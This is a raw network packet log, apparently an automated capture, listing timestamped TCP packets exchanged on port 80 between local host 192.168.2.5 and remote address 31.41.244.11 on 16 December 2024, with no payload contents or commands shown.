Dec 16, 2024 09:01:42.240398884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.241652012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.241722107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.241748095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.241791010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.243021011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.243072033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.243103981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.243165016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.244421005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.244501114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.244529009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.244601011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.245812893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.245913029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.245949030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.246015072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.247245073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.247308969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.247339010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.247395992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.248593092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.248681068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.248706102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.248797894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.249960899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.250062943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.250091076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.250108004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.251352072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.251414061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.251447916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.251512051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.252721071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.252825022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.252840996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.252897978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.254086971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.254178047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.254285097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.255459070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.255589962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.255637884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.256815910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.256902933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.256944895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.257008076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.258203030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.258272886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.258304119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.258382082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.259540081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.259598017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.259639978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.259711027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.260946035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.261012077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.261044979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.261157036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.262304068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.262372017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.262449026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.262511015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.263691902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.263816118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.263844967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.263861895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.265058041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.265110016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.265113115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.265615940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.266403913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.266541958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.266634941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.267811060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.267934084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.268014908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.269170046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.269294977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.269464970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.269464970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.270561934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.270662069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.270862103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.271960020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.272067070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.272156954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.273329020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.273399115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.273403883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.273443937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.274739027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.274796963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.274806023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.274848938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.276030064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.276151896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.276233912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.277409077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.277523994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.277530909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.277609110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.278800011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.278892040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.279105902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.280153990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.280268908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.280358076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.281529903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.281627893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.281701088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.282895088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.282994032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.283128977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.284264088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.284384966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.284463882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.285640955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.285749912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.285778999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.285805941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.287013054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.287065983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.287117004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.287208080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.288394928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.288486004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.288546085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.289733887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.289844990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.289844036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.289938927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.291119099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.291270018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.291320086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.291320086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.292505980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.292608023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.292623043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.292668104 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.294132948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.294265032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.294337988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.295321941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.295383930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.295412064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.295591116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.296629906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.296747923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.296799898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.296799898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.297993898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.298114061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.298217058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.299491882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.299532890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.299556971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.299593925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.300796986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.300889969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.300971985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.302090883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.302169085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.302202940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.302252054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.303472042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.303533077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.303615093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.303710938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.304861069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.304966927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.304986000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.305033922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.306296110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.306340933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.306348085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.306432009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.307583094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.307642937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.307671070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.307718992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.308954954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.309067965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.309070110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.309185982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.310321093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.310698986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.430624008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.430783033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.430864096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.430915117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.431216002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.431302071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.431349039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.431443930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.432482958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.432655096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.432688951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.432740927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.433638096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.433713913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.433741093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.433811903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.434879065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.434972048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.435101986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.435240030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.436209917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.436288118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.436316967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.436532021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.437306881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.437357903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.437417030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.437515020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.438580036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.438661098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.438694954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.438769102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.439728975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.439836979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.439857960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.439913988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.440974951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.441062927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.441086054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.441194057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.442209005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.442251921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.442327976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.442848921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.443470955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.443562984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.443615913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.443694115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.444654942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.444729090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.444787979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.444787979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.445831060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.445892096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.445930958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.445977926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.447057009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.447129965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.447149038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.447263002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.448271036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.448367119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.448414087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.448414087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.449506044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.449610949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.449754000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.449754000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.450740099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.450809956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.450829029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.450853109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.451908112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.452017069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.452141047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.452197075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.453114986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.453223944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.453260899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.453300953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.454389095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.454454899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.454497099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.454497099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.455565929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.455668926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.455686092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.455738068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.456793070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.456912041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.456928968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.457194090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.458000898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.458055973 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.458091974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.458157063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.459255934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.459342003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.459465981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.459465981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.460448980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.460557938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.460565090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.460931063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.461683035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.461754084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.461776018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.461886883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.462879896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.462985039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.463020086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.463084936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.464091063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.464144945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.464176893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.464313984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.465327024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.465431929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.465447903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.465471029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.466536999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.466593027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.466626883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.466686010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.467804909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.467845917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.467899084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.468974113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.469073057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.469090939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.469125986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.470195055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.470282078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.470299959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.470350981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.471432924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.471507072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.471548080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.471575975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.472613096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.472675085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.472758055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.472902060 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.473853111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.473916054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.473954916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.474062920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.475142002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.475220919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.475306988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.475363016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.476382017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.476445913 CET	80	49900	31.41.244.11	192.168.2.5
